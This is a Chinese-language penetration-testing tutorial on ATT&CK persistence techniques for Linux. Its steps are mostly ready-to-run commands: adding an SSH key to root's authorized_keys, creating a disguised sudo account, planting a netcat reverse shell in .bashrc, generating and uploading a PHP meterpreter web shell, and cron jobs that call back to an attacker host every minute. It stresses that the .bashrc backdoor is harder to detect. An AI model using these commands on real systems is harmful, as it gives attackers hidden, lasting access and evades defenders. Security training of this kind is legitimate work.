ATT& CK持久性技术
在持久性策略下概述的技术为我们提供了一种在目标系统上获得和建立持久性的清晰而有条理的方法。
以下是我们将探索的关键技术和子技术列表:
1、账户操纵
2、通过SSH密钥实现持久性
3、创建特权本地帐户
4、Unix外壳配置修改
5、后门.bashrc文件
6、Web外壳/后门
7、Cron作业
场景
通过SSH密钥实现持久性
我们将利用的第一个持久性技术是生成和使用基于SSH密钥的身份验证的过程,而不是基于密码的身份验证。如果用户帐户密码已更改,这种持久性技术将有助于保持对目标系统的访问,因为这在具有密码安全策略的公司中是非常常见的做法。
注意:此技术要求在SSH配置文件中启用公钥身份验证,有关详细信息,请参阅SSH添加密钥
为了执行此技术,您需要获得对目标系统的初始访问权限,并且如果您希望修改SSH配置文件,则需要“root”权限。
1、第一步将涉及生成SSH密钥对,这将需要在您的KaliVM上完成,因为这是我们将用于通过SSH进行身份验证的系统。这可以通过运行以下命令来完成:
ssh-keygen
2、如下面的屏幕截图所示,这将提示您指定将要生成的公钥和私钥的存储位置,以及SSH密钥的密码。在这种情况下,我们将使用默认选项。
mkdir ~/.ssh
touch ~/.ssh/authorized_keys
4、将生成的公钥内容粘贴到“authorized_keys”文件中后,它应该类似于下面所示的屏幕截图。
5、还建议将必要的权限应用于.ssh目录和“authorized_keys”文件,这可以通过运行以下命令来完成:
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
我们现在已经能够通过SSH密钥成功地设置持久访问,从而减少了未来因更改密码而导致的任何身份验证失败。
创建特权本地帐户
useradd -m -s /bin/bash ftp
2、创建帐户后,我们需要将用户添加到“sudo”组,这将为用户提供管理权限,这可以通过运行以下命令来完成:
usermod -aG sudo ftp
3、将用户帐户添加到“sudo”组后,我们需要为帐户设置密码,这可以通过运行以下命令来完成:
passwd ftp
4、指定密码后,我们可以列出/etc/passwd文件的内容,以确认用户帐户已添加。
Unix Shell配置修改
这种持久性技术将涉及添加一个bash反向命令,该命令将连接回用户帐户的.bashrc文件中的netcat侦听器。.bashrc文件是一个配置文件,用于自定义bash,并在用户使用bashshell登录时执行。
1、第一步是使用文本编辑器打开.bashrc文件。这可以通过运行以下命令来完成:
nano ~/.bashrc
2、在使用文本编辑器打开文件之后,我们可以添加一个简单的bash命令,每当用户登录时,它将为我们提供一个反向shell。这可以通过添加以下命令来完成:
nc -e /bin/bash <KALI-IP> <PORT> 2>/dev/null &
如下面的屏幕截图所示,该命令应该包含您的Kali IP和netcat正在侦听的端口。
3、在将bash命令添加到.bashrc文件后,我们可以通过运行以下命令在Kali上使用Netcat设置监听器:
nc -nvlp <PORT>
4、每当用户登录到用户帐户时,.bashrc文件中的命令将被执行,并因此在netcat侦听器上为您提供反向shell,如以下屏幕截图所示。
我们现在已经能够通过.bashrc文件设置持久性,这种技术的额外优点是更难检测,因为反向shell命令隐藏在合法的配置文件中。
通过Web Shell实现持久化
msfvenom -p php/meterpreter/reverse_tcp LHOST=<KALI-IP>LPORT=<PORT>-e php/base64 -f raw>backup.php
3、我们现在可以通过运行以下命令来设置Metasploit的监听器:
msfconsole
use multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <KALI-IP>
set LPORT <PORT>
run
4、下一步将涉及上传我们刚刚生成的PHP shell到Web服务器,这可以通过在Kali VM上设置本地Web服务器来完成:
sudo python -m SimpleHTTPServer 80
5、然后,将其下载到目标上:
wget http://<KALI-IP>/backup.php
在本例中,我们将“backup.php”文件上传到Web服务器的根目录/var/www/html目录下,如以下屏幕截图所示。
6、我们可以通过使用浏览器访问以下URL导航到Web服务器上的“backup.php”文件来检索目标上的meterpreter会话:
http://<SERVER-IP>/backup.php
7、通过浏览器访问应执行PHP代码,并因此在侦听器上为您提供meterpreter会话,如以下屏幕截图所示。
通过上传一个meterpreter webshell,我们已经能够成功地设置持久性,该shell允许我们保持对目标服务器的访问,而无需通过SSH进行身份验证。
通过Cron作业的持久性
1、我们可以通过编辑crontab文件在目标系统上添加一个cron作业,这可以通过在目标系统上运行以下命令来完成:
crontab -e
2、我们现在可以添加一个新的cron作业,它将每分钟执行一个netcat命令,这可以通过在crontab文件中添加以下行来完成:
* * * * * nc <KALI-IP> <PORT> -e /bin/sh
如下面的屏幕截图所示,这个cron作业将每分钟连接一个netcat监听器。
nc -nvlp <PORT>
5、或者,我们可以创建一个cron作业来执行我们在上一节中创建并上传的PHP meterpreter shell,而不是使用netcat来获取反向shell。这可以通过将以下行添加到crontab文件来完成:
* * * * * php -f /var/www/html/backup.php
如下面的屏幕截图所示,一分钟后,您应该会收到一个meterpreter会话。
我们现在已经能够通过创建一个连接回监听器的cron作业,成功地在目标服务器上设置持久性,此外,我们还能够设置一个cron作业,执行我们上传到目标服务器的PHPmeterpreter shell。
扫描二维码,一起交流学习。